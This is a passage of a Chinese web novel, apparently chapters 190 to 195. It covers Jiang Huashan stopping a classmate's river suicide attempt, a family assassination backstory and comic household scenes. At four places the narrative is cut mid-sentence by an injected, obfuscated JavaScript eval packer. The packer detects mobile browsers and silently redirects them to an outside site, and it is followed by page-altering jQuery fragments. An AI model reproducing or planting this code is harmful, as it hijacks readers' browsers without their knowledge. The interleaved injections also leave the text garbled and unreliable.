苏妙本身也就是新鲜劲,一听说有专门来接立马高兴应下。 * 姜花衫从医院出来就打了辆出租车,车辆刚驶过环城路脚下她又看到了那道破碎的身影。 犹豫片刻,姜花衫提前下了车,拎着塑料袋往桥下走去。 环城高架下是鲸港的母亲河南湾河,每到春秋两季,河水都会涨潮漫过堤坝,鲸港老一辈的民众没事都喜欢来河边散步。 天色接近黄昏,河岸两边的霓虹连成了璀璨的星灯。 沈眠枝一个人坐在河边,对着平静的湖面发呆。 她身边有拆了一半的火腿,还有啃了一半的面包,三只流浪猫已经停止了进食,紧靠着她的小腿假寐。 沈眠枝看着眼前的景色,无力感席卷了全身。 因为她又断片了,她脑子里完全没有自己是如何来到这里,如何喂食小猫的片段。 这些小猫很依恋她,甚至还会伸舌头舔她的掌心,可是她却很陌生。 而且,她能感觉到,这种断片的感觉持续的时间好像变长了。 “嗡嗡嗡——” 草地上的手机频繁发出震动声,屏幕暗了又亮,亮了又暗。 命名为爸爸的五十通未接来电又加了一通。 沈眠枝呆呆看着湖面,自我谴责的罪恶感和急切想逃离的无力感压得她快喘不过气了。 她将手机翻转盖住,慢慢站起身,似乎终于下定了决心,一步一步走向冰冷的湖面。 这一刻,她打算直面深渊。 沈眠枝闭眼往前,冰凉刺骨的河水没过了黑色的小皮鞋。 好冷。 她抬脚想往更冷的地方走去…… 忽然,有人拽住了她的手腕。 “利培酮片、布南色林,你要哪个?” …… 第191章 懵懂,意识初醒 手腕的重力让沈眠枝一下失去了平衡。 平静的水面吹来一阵湿咸的风。 沈眠枝怔愣,回头看去的瞬间,麻木冰凉的眼底染上了岸边星灯的余晖。 “怎么是你?”她喃喃问了一声。 自从三年前的夜宴后,姜花衫、傅绥尔跟沈眠枝的关系可算走到了冰点,尤其是傅绥尔,这三年一次好脸色都没有,为此沈娇不知教训了傅绥尔多少次,但依旧无济于事。 沈眠枝甚至有些怀疑,眼前的姜花衫也是她的幻境。 姜花衫松手,摇了摇手里的袋子,又问了一次,“要哪个?” 沈眠枝盯着她手里的药,过了好一会儿才问道:“你怎么会有药?” 姜花衫,“医院买的啊。” 沈眠枝眉头微蹙。 见她不信,姜花衫扬起嘴角,笑容略带着嘲讽,“怎么?就只许你有神经病,不许别人有?” 沈眠枝转过头,看着茫茫水面,“你刚刚也在医院?你看见我了?所以你也觉得我可笑?是啊,低三下四求别人相信自己有病,的确很可笑。” 姜花衫扫了她头上的标签一眼,摇头,“不是哦,我的话就是字面意思,你不是很聪明吗?再想想我的意思。” 沈眠枝愣了愣,目光怔忡看着姜花衫,“字面意思?” 姜花衫点头。 沈眠枝认真想了想,眼里多了一丝探究,“我不明白。” 姜花衫把药塞给她,“不重要,总有一天你会明白的。” 沈眠枝看着手里的药,眸底情绪复杂,“你相信我?” 姜花衫,“信啊,不然干嘛给你送药?” 沈眠枝吸了吸鼻子,抬头深吸了一口气,“你刚刚不会以为我想做傻事吧?我其实只是……” 话到一半,沈眠枝又咽了回去。 因为她实在不知该怎么表达? 她隐隐感觉到不仅是她,可能很多事都是失控的,但她没有证据。 她私下将这些失控隐喻为【深渊】,她觉得是【深渊】控制了她。她害怕这种控制的感觉,因为她有种预感,如果她不挣脱这种控制,她的世界会全线崩塌。 可是…… 这么匪夷所思的事情谁会相信?就连她自己都不信,否则也不会一而再再而三想验证自己是否精神出了问题。因为比起这世界存在【深渊】,沈眠枝更希望是自己病了。 如果【深渊】是真相,那么她爱的人也许都是傀儡,那才是真正的绝望。 “你其实只是想与这个世界对抗。”姜花衫见沈眠枝迟迟不说,索性替她说了出来。 沈眠枝眼瞳微缩,眸底像是被狂风席卷般暗涌翻腾。她鲜少这么控制不住情绪,实在是姜花衫的话让她太过震撼。 姜花衫倒是很平静。 想当初她刚刚觉醒意识时,每天都在怀疑自己是神经病,尤其后来书灵出现更是让她的世界观全面崩塌。 原来,她热爱的,厌倦的,争吵的,留恋的,只是二维世界不值一提的只言片语。 那个时候她也算心智成熟的大人了,尚且如此,就更别提眼下只有十六岁的沈眠枝的。 姜花衫推断,沈眠枝察觉到世界异常的时间或许比十三岁还要早,因为她回到沈园的时间线是十三岁,所以她的视角看不到十三岁之前的事。 但她一直记得上一世,在沈眠枝的葬礼上,爷爷回忆了很多关于沈眠枝小时候的事,反复提及的都是聪明,甚至以百龙之智形容沈眠枝有多与众不同。 也就是说,剧目其实给沈眠枝逆天的智慧,但为了牵制她的智慧,又给了她【恋爱脑】和【圣母】两座大山,细思极恐的是,但即便这样,沈眠枝还是快要觉醒了。 不过,沈眠枝的情况比她糟糕很多,一是:她太年轻了,还没好好长大未必能承受这个世界的真相,二是:慧极必伤,太过聪慧则更容易看透人情世故,世态炎凉,费心劳神容易伤身。若没有一个好的引路者,她可能终其一生都在内耗。 比如都是知道自己被控制了,她的处理方式是与控制自己剧目世界同归于尽,而沈眠枝的方式是以伤害自己去验证自己的猜想,所以还经历的少了。 两人的对视足足持续了三分钟,期间谁都没有说话。 湿咸的晚风从水面吹过一次又一次,最后姜花衫实在受不住,打了个哆嗦。 “好了,药已经送到了,其他的你自己慢慢想吧。太冷了,我先回去了。”说罢摆摆手,转身往河堤走去。 河堤两边的小草被风吹弯了腰,姜花衫微抬着头,感受微风拂面的触觉。沈眠枝两只脚还驻足在水里,目光一直追随着姜花衫。 姜花衫走上河堤往下看,高架如同蛰伏的凶兽,南湾河好似深不见底的渊,在它们的衬托下,沈眠枝显得渺小而微不足道。 * 回到环城路段,姜花衫忽然意识到一个问题,半山脚下不好打车,看来只能打电话回去让沈执派车下来接她了。 正想着,忽然远处一束强光迎面扫射而来,姜花衫感觉眼睛要瞎了,赶紧扭头避开,还没反应过来一黑色迈巴赫从她旁边呼啸而过。 “!” 还真是想睡觉就有人递枕头。 姜花衫赶紧招手示意,“沈龟……” 车速太快了,名字还没喊出来,车身影都找不到了。 “……死绿茶。”姜花衫揉了揉眼睛,又准备继续摇人。 忽然,山道尽头亮起一簇光,黑色的大车去而复返,此时的远光灯已经切回了近光灯。 车速缓慢,在距离姜花衫半米之外停了下来。 姜花衫见状立马收了手机,正准备拉门上车,车窗忽然缓缓降落。 里面的人偏过头,眸底蓄光,眼睑微微上挑。 “……” 今天有事,只有这一更,但是晚点我会补齐欠章,宝宝们不要等了~ …… 第192章 隔墙有耳 沈归灵看着泰山压顶的身影,眼皮跳了跳。 这矮墩报复心极强,她是真会下黑手的。于是在选择被杀和反抗之间,他选择了被扑。 姜花衫用枕头盖住他的脸时,他只是微微侧头,确保呼吸顺畅后直接放弃了抵抗。 这三年,他早就把姜花衫的性子摸透了,看着张牙舞爪不可一世,但只要顺毛摸嘴角就翘到了天上。 俗称吃软不吃硬。 “你们做什么?” 姜花衫一门心思都在报仇上,车门被人拉开了都不知道。 车里的两人,女生如同恶狼扑在男生身上,画面虽然凌乱透着几分暧昧,沈清予脸色阴沉,直接把姜花衫提起拽了出来。 “下来。” 没了压制的大山,沈归灵慢慢坐了起来,因为拉扯过度衬衣领口崩了一粒扣子,他微喘着气,目光幽幽看着沈清予。 沈清予看着这样子的沈归灵就火大,转头质问姜花衫,“你们刚刚是在打架?” 姜花衫低头整理弄乱的衣服,平复呼吸后顺带瞪了沈归灵一眼,“我们没打架。” 说完才发现已经在沈园门口了,姜花衫反应很快,拿着手里的枕头对着沈清予的脸当头砸去。 “好啊!原来你们两个是一伙的,算我看走了眼!”砸完气呼呼跑进了沈园。 枕头砸下来倒是不痛不痒,但让人猝不及防,沈清予看着姜花衫屁颠屁颠的背影,一脸怀疑。 沈归灵慢条斯理整理衣裳,雷行小心翼翼拉开车门,少年下车,看着沈园的方向,“不用怀疑,她刚刚就是故意找茬,免得还要向你交待逃学去了哪?” “呵……”沈清予被气笑了,点了点头又追了进去。 * 姜花衫刚进沈园,就被傅绥尔拽着躲进了角落。她吓了一跳,差点一个手刀横劈了过去,一看是小姐妹才长舒了一口气。 “吓死我了,你躲在这干嘛?” 傅绥尔指了指大门方向,“还不是清予哥,他就在门口逮人,你刚刚没碰见他?” 姜花衫摆摆手,拉着傅绥尔回园,“碰见了,随便应付了一下。” “随便应付?”傅绥尔一脸好奇,“真的假的?清予哥在学校发了那么大的火,连关鹤都被打了,就这么被你糊弄过去了?” 姜花衫愣了愣,“沈清予打了关鹤?” 傅绥尔点头,“下午放学的时候打的,整个高中部都知道了。衫衫,关鹤跟你出学校有什么关系吗?” 姜花衫嘴角抽搐,“池鱼之殃。” 思忖片刻,她干脆把今天为什么出学校,怎么出的学校以及在医院的所见所闻都跟傅绥尔说了一遍。 信息量太多,傅绥尔一下不知该怎么消化,缓了许久才拉住姜花衫的手,“衫衫,沈眠枝是真的有病吗?” 姜花衫并不意外傅绥尔最先关心的是沈眠枝,她想了想,摇头,“不,她没有病。” 傅绥尔皱眉,“那沈眠枝撒谎了?” 姜花衫,“她也没有撒谎。” 傅绥尔脚步一顿,转头看向身边的好友,“那……她是和我当初一样吗?” 这话问的猝不及防,姜花衫眼眸微动,略有几分不可思议,“你?当初?” 傅绥尔笑了笑,伸出手做了一个射击的动作,“绥尔,俯视他。” 虽然姜花衫从未言明,但傅绥尔一直有一种感觉,她觉得十三岁那颗子弹会一直贯穿她整个人生,直到击中未来某个时刻的她。 虽然姜花衫从没有告诉她,那天的意义是什么,但傅绥尔就是有一种感觉,她是在襄英之后才焕然新生的,她是傅绥尔,又不是傅绥尔。 姜花衫看着傅绥尔的手势,表情怔愣,片刻后眼中带着几分释怀,轻拍下她的手,“不,你们不一样。” 傅绥尔是毫无意识的,她的标签是被姜花衫引导撕碎的,所以她没有遭到剧情的反噬和扳正。 但沈眠枝不同,她一个人在不知前路的深渊跌跌撞撞,即使真的被她杀出一条路,也会如她上一世一样,对什么都万念俱灰。 傅绥尔并未纠结这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064545|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,立马又抛了个新问题,“那,我们要帮助她吗?” 姜花衫没有立马回答,反问道:“你想帮她吗?” 傅绥尔想了想,“如果她与你要做的事不违背,我想。” 姜花衫微愣,“我要做的事?” “对。” 姜花衫沉默了片刻,表情里多了几分认真,“绥尔,你知道我要做什么吗?” 傅绥尔点头,“隐约猜到一点,是外公,对不对?” 姜花衫眸光短暂失神,片刻后低声笑了起来。 傅绥尔见她笑,也跟着笑了起来,“我猜对了?” 姜花衫并没有直面回答这个问题,牵着她的手,在她的掌心写下两个字。 傅绥尔微微一愣,不解看着她。 姜花衫,“只要排除了他的嫌疑,我们就去重新认识一下沈眠枝。” 上一世,沈娇在沈庄之前就已经遇害了,姜花衫也是在排除沈娇的嫌疑之后才选择帮助傅绥尔的。同理,沈眠枝亦是如此。如果不能完全排除沈让的嫌疑,她还是会对沈眠枝有 所保留。 所以沈眠枝是敌是友,就看沈让在爷爷之死上扮演的是什么角色了。 “排除,嫌疑。”傅绥尔皱眉紧蹙,满脸不可置信,“你是说小舅舅会出卖沈家?衫衫,这不可能的!” “嘘!”姜花衫示意她小声点,“你反应这么大做什么?我刚刚说的是排除嫌疑。” 傅绥尔这才反应过来,捂着嘴小声道,“衫衫,别人都有可能,但是小舅舅一定不可能的。” 姜花衫立马捕捉到到了一丝不同寻常的信息点,“绥尔,你是不是知道什么?为什么这么说?” 傅绥尔左右看了看,“我们去绣楼说。” 沈园九曲回廊,光打理院子的佣人就有六百人,隔墙有耳这种事的确不能不防。 姜花衫点头,两人再没有说什么,直接往内院走去。 等两人穿过莲塘,角落里慢慢走出一道黑影,转头出了内院。 …… 第193章 沈让的故事 姜花衫和傅绥尔对身后的事毫无所察,回了菊园立马关上门说悄悄话,对此张茹已经见怪不怪了。 两人坐在床边,继续讨论刚刚的话题。 “你说沈五伯一定不可能?为什么?” 傅绥尔,“这件事我也是最近才听我妈说的,你别看小舅舅现在掌管暗堂威风凛凛,其实他心里很苦的。小舅舅平时连鸡都不敢杀,可是最后却为了外公亲手杀死了小舅母。” 姜花衫微愣,“你说谁?” 傅绥尔轻叹了一声,言语间略有些伤感,“小舅舅的故事可比我们看的小说狗血多了。他与小舅妈在一场舞会上相识,小舅妈是那场舞会的应召,当时被几个富家子灌酒羞辱,小舅舅看不惯便替她解了围。一来二去,两人就相爱了。” “可是小舅妈身份卑微,根本配不上小舅舅,小舅舅也知道家族规矩,为了让外公接受小舅妈,他甚至不惜放弃了沈家千亿财产选择净身出户,外公见劝不动也只能放任。后来沈眠枝出生,外公终究没舍下这个嫡亲孙女,同意让小舅妈进门。” “可就是这个决定,差点要了外公的命。小舅妈趁着敬茶的空档从袖口掏出一把手枪直接命中外公,外公应声倒下后小舅妈还打算补枪,危机关头,是小舅舅开枪射杀了小舅妈。” 这是十六年前的故事,姜花衫甚至都没有出生,但这段往事听得她心惊肉跳。 “后来呢?” “后来外公陷入昏迷,真相也慢慢浮出水面。原来小舅妈从一开始就是沈家政敌派来的间谍,她故意接近小舅舅,就是想趁沈家不注意暗杀外公。小舅舅得知是自己引狼入室悔恨不已,而沈家二房因此对小舅舅发难,甚至要求把沈眠枝送走。” “小舅舅自知罪孽深重不敢求饶,但听说连刚出世的女儿都要被牵连,便心如死灰抱着沈眠枝要跳河。关键时候,外公醒来了,在得知二房的处理后立马命四舅舅把小舅舅带回来。” “我妈说,外公当时只让四舅舅带去了一句话,‘沈家没有弃子,这孩子姓沈,叫眠枝。’” “后来,小舅舅抱着沈眠枝跪在外公床前磕头忏悔。经此一役,小舅舅性格大变,独自挑起了暗堂堂主一职,用我妈的话说,这是小舅舅在为自己赎罪,因为他曾引狼入室,所以他把自己变成了沈家最利的刀。” 姜花衫沉默,这个故事出自傅绥尔之口,她丝毫不怀疑其真实性。如果真是这样,沈让的嫌疑的确小了很多,他曾为爱人抛弃一切,说明功名利禄根本诱惑不了他,他又为了爷爷反杀了爱人,说明爱人和家人之间他更看重后者,这样的人,的确不太可能是叛徒。 但也不能完全排除,因为现在又有了一个不可控因素,沈眠枝。 沈让会不会因为沈眠枝的死,记恨爷爷才背叛报复呢? 这念头一出,姜花衫立马又摇头否认。爷爷不许沈眠枝与周宴珩交往,不顾她的意愿强行安排更契合的婚姻,别人不懂,但经历过的沈让一定明白其中深意,他不可能会迁怒爷爷。 傅绥尔见她不语,又自顾说道,“我妈大概是实在看不下去我对沈眠枝的态度,才会连这种事都跟我说的。之前我还一直很奇怪,为什么家里人对小舅妈的事都三缄其口,连旧俗祭拜都不曾有过,现在都解释得通了。” 姜花衫,“那……沈眠枝知道真相吗?” 傅绥尔摇头,“她应该不知道,这件事爷爷下了通牒,沈家所有人都不准再提起,更不能让沈眠枝知道。” “那倒未必。” 傅绥尔一愣,不解看着她,“未必?你是说沈眠枝知道她父母的事情了?” 姜花衫略带思索,“我也不是很确定,只是怀疑。” “怀疑?怀疑什么?” 姜花衫,“萧澜兰,你不觉得她对沈眠枝的态度尤其恶劣吗?三年前我们同时给沈兰曦送礼,沈眠枝只不过挡了萧澜兰的路,她直接把人推下台阶。还有,萧澜兰看沈眠枝的眼神,明显带着轻蔑,就像在打量一个低等生物,她看我时也是这种感觉,但看你时不会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064546|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅绥尔稍微回忆了一下,渐渐也琢磨出了一点不对劲,“你这么一说好像是,难道大姑母也把小舅舅的事告诉萧澜兰了,不然她怎么敢这么嚣张?” “干妈告诉你,同样,沈娥也有可能告诉萧澜兰,所以这并不奇怪。关键是沈眠枝的态度,她每次对萧澜兰的挑衅都极度容忍,就像知道了什么一样。” “不会吧?可是谁会告诉她呢?”傅绥尔还是有些不敢相信。 姜花衫,“这也只是我的猜测,不一定是事实。不过,如果真的有人把这件事透露给了沈眠枝,这个人就一定是烂到骨子里了。” 因为这是在敲碎沈眠枝的脊梁。 傅绥尔有些于心不忍,之前她以为沈眠枝脑子有病才那么恶劣,但如果她是因为不受控制那就真的太可怜了。 怎么那么笨,去医院看个病还被无良医生欺负。 傅绥尔越想越气:“衫衫,那个无良医生叫什么?” 姜花衫原本还在想沈眠枝的事,闻言不知想到什么,笑了笑,“这件事你就别操心了,我已经把他交给别人了。” “ 嗯?” 傅绥尔一脸疑惑,正要问清楚,姜花衫的手机忽然响了起来。 “苏妙。”傅绥尔把手机递给她,“她怎么给你打电话?” “嘘。”姜花衫做了个噤声的手势,按下通话键,又按了扩音,“喂?” 她只说了一个字,对方却像疯了一样机关枪式扫射。 “姜!花!衫!你好样的啊,我问你,你后来是不是去那栋大楼看脑科了?你够狠的啊?我不过就是借用了一下你的名字,你直接把我报复成了神经病!还是有专家认可盖章的那种!姜花衫,你要死啦!!!” “我跟你说,这件事没完!你给我等着,我不会善罢甘休的。” “嘟——” “挂了。” 姜花衫耸了耸肩,与傅绥尔对视了一眼,几乎同时,两人一起倒下爆笑捶床。 …… 第194章 《心理病精神测试一百问》 半山楼院,苏宅。 “啊啊啊!!!” 苏妙挂了电话后气得捶胸顿足。 “叮咚——” 紧接着,手机屏幕一亮,跳出一条对话框。 【关你peace:记得还钱/地主收钱.gif】 “啊啊啊啊!!!” 原本要被气炸的苏妙看到这条消息完全失去理智,神情癫狂薅头发。 可恶的姜花衫!她就是算准了她不敢声张才这么有恃无恐的。果然!她就一条又奸又恶的花鲢鱼。 “妙……妙妙?” 苏灼在门外敲了好一会门,等了许久也没听见回应,正犹豫要不要过一会再来,就听见里面传来报复性的尖叫声。出于关心,苏灼直接推开了门,万万没想到就看见了眼前这一幕。 苏妙完全失控,两只手在发缝里戳啊戳,把头发戳成了鸡窝状还浑然不知。 “哥…”苏妙有气无力向苏灼伸出尔康手,“你有没有钱啊?” 苏灼,“……” 苏妙顶着鸡窝头,手脚麻利点开收款码,“V我十万,我要还钱。” 苏灼的表情可算是一言难尽,他是被苏敬琉打电话骂回来的,不仅是他还有苏母,苏父因为在联合国参会暂时联系不上才逃过一劫。 刚刚在主厅,老爷子把苏灼和苏母和母亲骂得狗血淋头,质问他们有没有尽到做哥哥和母亲的职责?连妹妹有神经病都不知道。 一开始,苏灼还以为老爷子为了找茬不讲武德开始瞎编了,可现在见到苏妙,苏灼忽然觉得病情好像是有些严重。 “妙妙,你怎么了?是不是上了高中压力大啊?” 苏妙,“是啊,我这下压力是真的大了,姜花衫就是个吸血鬼,我要是不还钱她肯定会找茬的。哥,你就帮帮我吧?” 苏灼眉头微蹙,他这个妹妹平时无法无天,怎么忽然怕起了沈家那个姑娘? 沈灼表情严肃,“妙妙,她是不是欺负你了?你别怕,告诉哥哥,要真是哥哥帮你解决。” 可不是欺负她了? 给她十块钱坐捷运也就算了,现在还扣个神经病的帽子。 但今天去医院的事还需要姜花衫保密,苏妙投鼠忌器,只能遮掩,“哥,你别问了,给钱就可以了。” 苏灼无奈,拿出手机扫码,一次转了二十万。 “不够再跟我说,要是被欺负了也记得跟我说。” 苏妙看着转眼到手的二十万,覆盖在头上的愁云惨雾一下就驱散了,咧嘴一笑露出尖尖的小虎牙,“谢谢哥。” 苏灼摸了摸她的头,温柔笑了笑。 苏妙一时看呆了,“哥,你笑起来跟沈归灵一样好看。” 现在苏灼可算是鲸港圈的励志人物,三年时间减了一百四十斤,足足减了一个自己下来。都说胖子是潜力股,苏灼也算更好诠释了这句话,减肥成功的苏灼少年气十足,与苏家人霸道毒舌的性子不同,苏灼内敛温柔,说话也总是慢条斯理,像极了古代受过良好教育的文雅公子。 苏灼被苏妙的马屁逗笑了,但他还是有自知之明,他哪能跟沈归灵比?不然爷爷也不会总说他画虎不成反类犬。 “叩叩叩——” 门外响起敲门声,没一会儿苏管家走了进来。 “少爷,小姐,老爷子请两位去主厅。” 苏妙眼皮跳了跳,站起身拉了拉苏灼,“你待会儿可要记得帮我说话。” 苏灼从桌上拿了把梳子,不急不躁,“先梳个头。” 十分钟后,两人跟随苏管家来到主厅,还没跨进门槛就听见里面传来苏母的抽泣声。 “都怪我,妙妙平时总说她这个同学壮的像狗熊,那个同学蠢的像山猪,我只当她是嘴巴毒,没想到这竟然是有癔症,呜呜呜呜,是我这个做妈妈的失职,我可怜的女儿啊!” 苏妙嘴角抽搐,转身就要走。 苏灼立马拉住她,“你总要面对。” 苏妙差点绷不住,我面对什么啊我面对! 苏灼完全不懂苏妙的煎熬,拉着她走进主厅,“爷爷,妈。” 坐在沙发上的贵妇人立马站起身,一把将苏妙抱在怀里,“妙妙啊,你到底有什么想不开的?好好的怎么脑子就出了问题?你跟妈妈说说。” 苏敬琉一副没眼看的嫌弃模样,“她脑子有病怎么好好跟你说?你还怪孩子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064547|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不怪你们做父母的不上心?”说罢,朝苏妙招手,“妙妙,来,到爷爷身边来。” 苏妙全程嘴角抽搐,慢慢走到苏敬琉身边,她想了想,觉得还是有必要解释一下,“爷爷,这是个误会,我……我没有神经病,我也没有幻觉吗,我再正常不过了。” “嗯。”苏敬琉点头,“那个肖医生说一般有病的都是这么为自己开脱的。” 苏妙,“……” 苏敬琉抬手,苏管家立马奉上两页测试卷,“来,妙妙,不怕啊,就当做个随堂测试了。” 苏妙定睛一看,无力扶额,哪家好人随堂测试是《心理病精神测试一百问》? 苏母抹了抹眼泪,上前安慰苏妙,“妙妙,你别有压力,不管怎么样你都是妈妈的好女儿,妈妈不会丢下你的,妈 妈一定会陪着你。刚刚妈妈已经联系上你爸爸了,你爸爸已经在回来的路上。” 苏妙被感动地不上不下,好消息:全家忽然对她关怀备至,坏消息:因为她有神经病。 苏敬琉见她一脸抵抗,面露关切,“怎么了?是爷爷弄错了吗?你今天偷溜出学校不是去看脑子的?” “啊?”苏妙一下回神,想也没想,“是,我是去看脑子的。” 苏母听不下去,还得偷偷去?这真是造孽啊,苏母情绪失控,捂脸哭了出来,“妙妙啊,妈妈对不起你。” 苏敬琉摇了摇头,“妙妙,你放心,爷爷会请国内外最好的心理医师协助治疗,乖!你先做个测试,看看现在严重到什么程度了?” 到这,苏妙嘴角都抽不动了。 谎已经撒下了,不圆也得圆了! 算了,反正DNA检测结果一个星期之后就出来了,她就先当一个星期的神经病,等过了这道关卡再找姜花衫算账。 想明白后,苏妙拿起茶几上的《心理病精神测试一百问》 问:一个杀人犯去超市买刀杀人,一把刀30块,一把刀300块,两把刀外观上并没有任何区别,他犹豫了一会儿选了那把30的,为什么? 这还不简单? 苏妙拿过桌上的笔,下笔有神,因为这个杀手是个穷B。 …… 第195章 戏很多的哥哥们 露台上,一株魏紫正舒展着枝叶随风摇摆,晶莹的露珠垂在叶尖坠坠欲滴,晚风拂过露珠落地绽放,房间里白色的轻纱似少女的裙摆翩翩袂飞。 沈归灵坐在偏室的沙发上,修长的指尖轻轻摩挲着手里的手绘画册,画册封面是一张Q版小人躲在乌龟壳里偷哭的彩绘,那小人画得活灵活现,寥寥几笔就勾勒出了沈归灵的神韵。 沈归灵也是一眼认出的封面的乌龟是自己,让没忍住好奇打开了这本求存手册。 不看不要紧,一看被里面的内容气笑。 上面记录了他各种被欺负大小场面,甚至还用不同的乌龟形态总结了他当时的心理活动。 要不是知道姜花衫别有用心,沈归灵差点就要被感动了,这个世界上竟然有个人对他如此费心。 虽然不知道姜花衫想干什么,但沈归灵笃定她没安好心,所以当姜花衫找上门来要手册时,他才故意隐瞒说没看见。 不过他也早就料到了姜花衫不会相信,预判了她的预判,故意假装在洗澡,提前把画册藏在浴袍的夹层里。 但他万万没想到,那祸害胆子是真的大,搜了他的床还想搜他的身,当时要不是有雷行护着,他可能真的要阴沟里翻船了。 沈归灵撩着眼皮,慢条斯理打开画册,脑子里不觉又想起雷行把那祸害拖出去的时候,她嘴里还在大声叫嚣: “雷管家,我就看一眼,就一眼!放心,我对儿童身材没有兴趣,我就要我的画册!我的画册……” 沈归灵额角不自觉跳了跳,闭眼捏了捏眉间。 “叩叩叩——” 这时门外响起有节奏的敲门声。 “阿灵少爷。” 沈归灵闭了闭,温声应道:“进来。” 雷行推门走了进来,表情有些局促,“阿灵少爷,刚刚在沈园门口我一时反应过激,差点让您死在姜小姐手里,我很抱歉。” 沈归灵眼皮都没抬一下,“这种小事不必在意。” 这怎么能是小事呢?雷行清咳了一声,欲言又止。 沈归灵察觉出了什么,抬眸看着他,“还有事?” 雷行,“少爷,姜小姐在老爷子面前一贯得宠,行事作风也是率真无所顾忌,可您……” 雷行顿了顿,小心瞥向沈归灵,见还在耐心倾听,不觉鼓起了勇气,“可您不一样,要是今天的话传到老爷子耳朵里,姜小姐未必有事,但少爷您……” 沈归灵指尖扫过封面的小人,微微思索了片刻点了点头,“我明白你的意思,放心,以后我会注意分寸的。” 雷行听了这话心里更是五味杂陈,沈家只怕也只有阿灵少爷会说出要注意分寸这种话了。 不过这也没办法,沈先生忙于竞选议员长之位,平时对阿灵少爷并不关心,沈夫人就更不用说了,每次都借着教养的名义羞辱少爷。 “还有事?” 雷行连忙收敛情绪,“是夫人,她说明天下午要在东湾举办茶话会,让您务必出席。” “东湾?”沈归灵忽然想到什么,“父亲下一场民政演说是不是就在东湾?” “是。” 沈归灵思忖了片刻,喃喃自语,“夫人这场茶话会想必是替父亲办的,既然如此我也应该出面。”说罢,他抬眸看向雷行,“你告诉夫人,我会准时到的。” 雷行情绪更复杂了,夫人近来对少爷的刁难越来越苛刻了,即使少爷一直伏小退让也没有得到夫人丝毫怜悯。 但少爷又不许他告诉老爷子,雷行也只能恪守主仆职责听命行事。 “是,少爷。”雷行点头,出了房间。 等人走后,沈归灵嘴角的笑容渐渐收敛,眼眸幽深静静看着怀里的画册。 良久,少年绯红的嘴角牵扯出一抹玩味,指尖慢慢划过小人物泪眼婆娑的脸… “你弄错,我被欺负了可是不会躲起来哭的。” * 翌日清晨,艳阳高照。 姜花衫懒洋洋走出沈园。 “滴——” 人还没清醒,一辆黑色迈凯伦骚气走位,直接停在了她面前。车窗落下,沈清予那张脸比迈凯伦720S还惹眼。 “上车。” 姜花衫皱眉,沈家三傻年满十八岁后就拿到了驾照,但沈归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064548|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵和沈兰曦都不喜欢开车,唯独沈清予,他每天换一台车,一下环城山路就化身秋名山车神,每次都颠得她怀疑人生。 沈清予见她站在原地不动,也是没脾气了,“上车吧,这车我改了底盘。” “还是算了。”今天还有场硬仗要打,她可不想还没到学校就元气大伤。 沈清予推门下车,拉着姜花衫直接把她塞进了副驾驶,姜花衫扒着门探出头斜睨他,“放我下来,你车技太烂了,还得练。” 沈清予被气笑了,咬牙:“我保证不超过六十迈。” “三十。” 三十还开什么跑车? 沈清予懒得跟她计较,掌心贴着她的脑门再次把人塞了进去,随后重新回到驾驶座。 “坐好了。” 沈清予系好安全带,又拉了拉姜花衫的安全带,确认无误后一脚油门踩到底… 下一 秒,黑色的车变成了一道幻影弹射了出去。 * 与此同时,一辆林肯加长轿车正停在沈园外,车里的两人正好目睹了刚刚发生的那一幕。 自从沈归灵去了美联高做交换生后,一直都是沈兰曦和沈清予交替送姜花衫上学,但后来有次沈清予开车把姜花衫开吐了,姜花衫就拒绝再坐沈清予的车,给钱都不坐。 高止偷偷观察后座的沈兰曦,少年已经收回了目光正在低头看手机。 掩饰,这绝对是掩饰,原本他们早就可以出发了,少爷一直没让开车其实就是在等姜小姐,现在被清予少爷截胡了,他怎么能不失落? 为了安慰受伤的少爷,高止从口袋里掏出两只黑丝绒手套,“少爷,清予少爷又把姜小姐得罪狠了。” 沈兰曦指尖一顿。 